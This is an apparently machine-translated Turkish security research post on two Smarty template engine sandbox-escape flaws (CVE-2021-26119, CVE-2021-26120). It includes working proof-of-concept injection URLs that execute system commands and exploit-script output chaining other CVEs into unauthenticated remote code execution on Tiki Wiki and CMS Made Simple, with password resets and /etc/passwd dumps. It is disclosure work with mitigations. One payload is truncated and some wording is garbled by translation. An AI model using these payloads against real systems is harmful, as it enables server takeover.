Smarty Şablon Motoru Çoklu Sandbox Escape PHP Kod Ekleme Güvenlik Açıkları


Bu blog yazısında, Smarty Template Engine’de keşfedilen ve bağlama bağımlı bir saldırganın rastgele kod yürütmek için kullanabileceği iki farklı sanal alandan kaçış güvenlik açığını araştırıyoruz. Daha sonra bu güvenlik açıklarının, motoru güvenli bir şekilde kullanmaya çalışan bazı uygulamalara nasıl uygulanabileceğini araştırıyoruz.

Keşfedilen güvenlik açıkları Smarty Template Engine <= 3.1.38'i etkiliyor:

1. şablon_object Sandbox’tan Kaçış PHP Kod Enjeksiyonu

Bu güvenlik açığı, açıkta kalan ve başlatılan bir Smarty örneğin belgelenmemiş korumalı alan güçlendirme özellikleri kullanılarak kısmen hafifletilmiştir. CVE-2021-26119 olarak yamandı.

2. Smarty_Internal_Runtime_TplFunction Sandbox’tan Kaçış PHP Kod Enjeksiyonu

Bu güvenlik açığı derleme motorunu hedef alır ve 3.1.38 ve altındaki sürümlerde (belgelenmemiş özelliklerin kullanıldığı güçlendirilmiş sanal alanla bile) giderilmemiştir. CVE-2021-26120 olarak yamalandı.

Arka plan

Aşağıdaki metin doğrudan Smarty web sitesinden alınmıştır:

Smarty nedir?

Smarty, sunumun (HTML/CSS) uygulama mantığından ayrılmasını kolaylaştıran, PHP için bir şablon motorudur. Bu, PHP kodunun uygulama mantığı olduğu ve sunumdan ayrıldığı anlamına gelir.

Felsefe

Smarty tasarımı büyük ölçüde şu hedeflere dayanıyordu:

  • sunumun uygulama kodundan temiz bir şekilde ayrılması
  • PHP arka ucu, Smarty şablon ön ucu
  • PHP’yi tamamlar, onun yerine geçmez
  • programcılar ve tasarımcılar için hızlı geliştirme/dağıtım
  • bakımı hızlı ve kolay
  • sözdiziminin anlaşılması kolay, PHP bilgisine gerek yok
  • özel geliştirme esnekliği
  • güvenlik: PHP’den yalıtım
  • ücretsiz, açık kaynak

PHP’yi şablonlardan ayırmak neden önemlidir?

SANDBOXING: PHP şablonlarla karıştırıldığında, bir şablona ne tür mantığın enjekte edilebileceği konusunda herhangi bir kısıtlama yoktur. Smarty, şablonları PHP’den yalıtarak sunumun iş mantığından kontrollü bir şekilde ayrılmasını sağlar. Smarty ayrıca şablonlar üzerinde ayrıntılı kısıtlamaları daha da zorlayabilecek güvenlik özelliklerine de sahiptir.

Çevre

Şablon enjeksiyonunun gerçekleşebileceği bir ortam varsaymalıyız. Birçok uygulama, kullanıcıların şablonları değiştirmesine izin verir ve Smarty’nin bir sanal alana sahip olduğunu açıkça belirttiği göz önüne alındığında, bu işlevselliğin geliştiriciler tarafından amaçlandığı şekilde ortaya çıkması muhtemeldir.

Bunu kabul edersek, yazarın şablon sözdiziminin enjeksiyonuna yol açabileceğinin farkında olduğu iki yol vardır:

$smarty->fetch($_GET['poc']);
$smarty->display($_GET['poc']);

Vektörler

Yukarıdaki senaryo göz önüne alındığında ve varsayılan güvenli modun etkin olduğu varsayıldığında, bir saldırganın kendi şablon kodunu aşağıdaki yollarla sağlaması mümkündür:

/page.php?poc=resource:/path/to/template
/page.php?poc=resource:{your template code here}

resource: geçerli bir kaynak olması gerekir; sağlanan bazı varsayılanlar şunlardır:

  1. Dosya

Kullanırken file: kaynak, kod yerel bir dosyadan çekilecektir. Bunu hala uzak bir vektör olarak görüyorum çünkü birçok uygulama dosya yüklemeye izin veriyor ve bir saldırgan şablon dosyasına göreli bir yol veya tam yol sağlayabilir; bu da UNC yollarının Windows ortamında da çalıştığı anlamına gelir.

  1. Değerlendir

Kullanırken eval: şablon kodunuz basitçe şu şekilde değerlendirilir: Smarty_Resource_Recompiled sınıf. Bunun olduğunu unutmayın Olumsuz normal bir PHP değerlendirmesiyle aynıdır.

  1. Sicim

Kullanırken string: kaynak kodu önce şablonu diske yazacak ve ardından onu ekleyecektir. Smarty_Template_Compiled sınıf.

Savunmasız Örnek

Burada sunulan kavramların kanıtı farklı sanal alan yapılandırmalarını hedefleyebilir.

Varsayılan Korumalı Alan

Bu sayfa yeni bir sayfa oluşturur Smarty örnek ve varsayılan ayarları kullanarak güvenli modu etkinleştirdi:


include_once('./smarty-3.1.38/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->enableSecurity();
$smarty->display($_GET['poc']);

Sertleştirilmiş Korumalı Alan

Smarty’nin sağlayabileceği en güvenli yapılandırmayı sağlamak için varsayılan sanal alanın ötesine geçen, sağlamlaştırılmış bir sanal alan sayfası oluşturuldu:


include_once('./smarty-3.1.38/libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display($_GET['poc']);

şablon_object Sandbox’tan Kaçış PHP Kod Ekleme

Güvenlik Açığı Analizi

Bu güvenlik açığının temel nedeni, Smarty örneğinden $smarty.template_object süper değişken.

Referans almakla başlayalım Smarty_Internal_Template nesne. {$poc=$smarty.template_object} değer basitçe bir örneği olan şablon nesnesini atar. Smarty_Internal_Template ile $poc. Bu, aşağıdaki kodu oluşturur:

$_smarty_tpl->_assignInScope('poc', $_smarty_tpl);

Bu, şu şekilde gerçekleştirilir: compile içindeki işlev Smarty_Internal_Compile_Private_Special_Variable sınıf:

case'template_object':
    return'$_smarty_tpl';

Eğer incelersek $poc Artık nesnenin birçok ilginç nesne özelliği içerdiğini görebiliriz:

object(Smarty_Internal_Template)#7 (24) {  
  ["_objType"]=>
  int(2)  
  ["smarty"]=>
  &object(Smarty)#1 (76) { ... }
  ["source"]=>
  object(Smarty_Template_Source)#8 (16) { ... }
  ["parent"]=>
  object(Smarty)#1 (76) { ... }
  ["ext"]=>
  object(Smarty_Internal_Extension_Handler)#10 (4) { ... }
  ["compiled"]=>
  object(Smarty_Template_Compiled)#11 (12) { ... }

Buradaki sorun, bir saldırganın smarty veya parent onlara bir Smarty örneğine erişim sağlayacak özellik.

Sömürü

Statik Yöntem Çağrı Tekniği

Artık bir saldırganın erişebildiğine göre smarty özelliği, bunu üçüncü argüman olarak basitçe iletebilirler. Smarty_Internal_Runtime_WriteFile::writeFile bu, diske rastgele bir dosya yazacaktır (nerede ilkel olduğunu yazın). Bu, James Kettle’ın 2015’te uyguladığı tekniğin aynısıdır.

Hedef dosya sistemine rastgele dosyalar yazabilme yeteneğine sahip olmak neredeyse garantili bir kazançtır ancak bir saldırgan asla bu kadar emin olamaz. Ortamlar büyük ölçüde farklılık gösterebilir ve web kökünde yazılabilir dizinler mevcut olmayabilir, .htaccess arka kapılara erişimi engelliyor olabilir, vb.

Bu bağlam göz önüne alındığında, bu güvenlik açığından bu ortam faktörlerine gerek kalmadan doğrudan uzaktan kod yürütülmesi için yararlanılabilecek, uygulamaya özel bir teknik buldum.

Eğer kullanıyorsanız string: kaynak, process içindeki yöntem Smarty_Template_Compiled derlenmiş şablon dosyasını içeren çağrılacaktır.

    public function process(Smarty_Internal_Template $_smarty_tpl)
    {
        $source = &$_smarty_tpl->source;
        $smarty = &$_smarty_tpl->smarty;
        if ($source->handler->recompiled) {
            $source->handler->process($_smarty_tpl);
        } elseif (!$source->handler->uncompiled) {
            if (!$this->exists || $smarty->force_compile
                || ($_smarty_tpl->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
            ) {
                $this->compileTemplateSource($_smarty_tpl);
                $compileCheck = $_smarty_tpl->compile_check;
                $_smarty_tpl->compile_check = Smarty::COMPILECHECK_OFF;
                $this->loadCompiledTemplate($_smarty_tpl);
                $_smarty_tpl->compile_check = $compileCheck;
            } else {
                $_smarty_tpl->mustCompile = true;
                @include $this->filepath; // overwrite this file and then include!

Buna dinamik olarak erişmemiz mümkün filepath mülkiyeti Smarty_Template_Compiled sınıfını dosya yazma konumu olarak kullanabilmemiz için.

Bu tekniğin güzel yanı, geçici konumun mutlak Kaynağın çalışması için yazılabilir olmalı ve platformdan bağımsız olmalıdır.

Kavram Kanıtı

PHP’nin yerleşik web sunucusunu ve Varsayılan Sandbox’tan sağlanan sayfayı hedef olarak kullanarak aşağıdaki poc’u çalıştırın. iki kere.

http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"

statik çağrı istismarı

İsteğin iki kez tetiklenmesinin nedeni, ilk kez önbellek dosyasının yazılması ve ardından üzerine yazılmasıdır. İkinci kez önbellek tetiklenir ve dosya uzaktan kod yürütülmesine dahil edilir.

Azaltma

Geçici bir çözüm olarak, static_classes mülkiyete erişimi engellemek için özel bir güvenlik politikasında geçersiz kılınabilir. Smarty_Internal_Runtime_WriteFile sınıf. Ancak bunun bir maliyeti vardır ve işlevselliği büyük ölçüde azaltır. Örneğin, Yii çerçevesinde erişim Html::mailto, JqueryAsset::register ve diğer statik yöntem çağrıları çalışmayacaktır.

$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->static_classes = null;
$smarty->enableSecurity($my_security_policy);

Güvenli modu açarken bu varsayılan olarak etkin olmadığından ve güvenlik açığının temel nedenini ortadan kaldırmadığından, bunun tam bir hafifletme olduğunu düşünmüyorum.

Sandbox Devre Dışı Bırakma Tekniği

Varsayılan güvenlik modunu kullanmayan ve bunun yerine Sertleştirilmiş Korumalı Alan örneğinde olduğu gibi kendi güvenlik politikasını tanımlamaya çalışan daha zor bir hedefimiz olduğunu varsayalım. Erişim sağlayabildiğimiz için bu ortamı atlamak hâlâ mümkün. Smarty örneğini kullanabilir ve sanal alanı devre dışı bırakmak ve php kodumuzu doğrudan oluşturmak için kullanabiliriz.

Kavram Kanıtı
http://localhost:8000/page.php?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}

özellik erişimi ve yöntem çağrısından yararlanma

Azaltma

Geçici bir çözüm olarak, disabled_special_smarty_vars özellik dizeyi içeren bir diziyi içerebilir template_object.

Ancak bu özellik tamamen belgelenmemiştir. Aşağıda saldırının nasıl önleneceğine dair bir örnek verilmiştir:

$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->disabled_special_smarty_vars = array("template_object");
$smarty->enableSecurity($my_security_policy);

Tıpkı statik yöntem çağrısı tekniği gibi, sanal alanda varsayılan olarak etkin olmadığından bunu da tam bir azaltma olarak görmüyorum.

Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP Kod Ekleme

Güvenlik Açığı Analizi

Şablon söz dizimini derlerken, Smarty_Internal_Runtime_TplFunction sınıf, tanımlarken name özelliğini doğru şekilde filtrelemiyor tplFunctions. Aşağıdaki şablonla bir örneğe bakalım:

{function name="test"}{/function}

Derleyicinin aşağıdaki kodu ürettiğini görebiliriz:

/* smarty_template_function_test_8782550315ffc7c00946f78_05745875 */
if (!function_exists('smarty_template_function_test_8782550315ffc7c00946f78_05745875')) {
    function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template $_smarty_tpl,$params) {
	    foreach ($params as $key => $value) {
            $_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
        }
    }
}
/*/ smarty_template_function_test_8782550315ffc7c00946f78_05745875 */

test Saldırganın kontrol ettiği varsayılan dize, oluşturulan koda birkaç kez enjekte edilir. Dikkate değer örnekler, tek tırnak içinde olmayan herhangi bir şeydir.

Bu birden çok kez enjekte edildiğinden, ilk satırdaki yorum enjeksiyonunu hedefleyecek bir yük bulmayı zor buldum, bu yüzden bunun yerine fonksiyon tanımı enjeksiyonunu tercih ettim.

Kavram Kanıtı

PHP’nin yerleşik web sunucusunu ve Sertleştirilmiş Sandbox’tan sağlanan sayfayı hedef olarak kullanarak aşağıdaki poc’u çalıştırın:

http://localhost:8000/page.php?poc=string:{function+name="rce(){};system("id");function+"}{/function}

işlev adı ekleme

Tiki Wiki

CVE-2020-15906 ve CVE-2021-26119’u bir araya getirdiğimizde, bu istismarı kullanarak kimliği doğrulanmamış uzaktan kod yürütmeyi başarabiliriz:

researcher@incite:~/tiki$ ./poc.py
(+) usage: ./poc.py   
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /tiki-20.3/ id

researcher@incite:~/tiki$ ./poc.py 192.168.75.141 /tiki-20.3/ "id;uname -a;pwd;head /etc/passwd"
(+) blanking password...
(+) admin password blanked!
(+) getting a session...
(+) auth bypass successful!
(+) triggering rce...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/tiki-20.3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

CMS Basitleştirildi

CVE-2019-9053 ve CVE-2021-26120’yi bir araya getirdiğimizde, bu istismarı kullanarak kimliği doğrulanmamış uzaktan kod yürütmeyi başarabiliriz:

researcher@incite:~/cmsms$ ./poc.py
(+) usage: ./poc.py   
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /cmsms/ "uname -a"

researcher@incite:~/cmsms$ ./poc.py 192.168.75.141 /cmsms/ "id;uname -a;pwd;head /etc/passwd"
(+) targeting http://192.168.75.141/cmsms/
(+) sql injection working!
(+) leaking the username...
(+) username: admin
(+) resetting the admin's password stage 1
(+) leaking the pwreset token...
(+) pwreset: 35f56698a2c3371eff7f38f34f001503
(+) done, resetting the admin's password stage 2
(+) logging in...
(+) leaking simplex template...
(+) injecting payload and executing cmd...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/cmsms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

Referanslar

  1. https://portswigger.net/research/server-side-template-injection
  2. https://chybeta.github.io/2018/01/23/CVE-2017-1000480-Smarty-3-1-32-php% E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/



Source link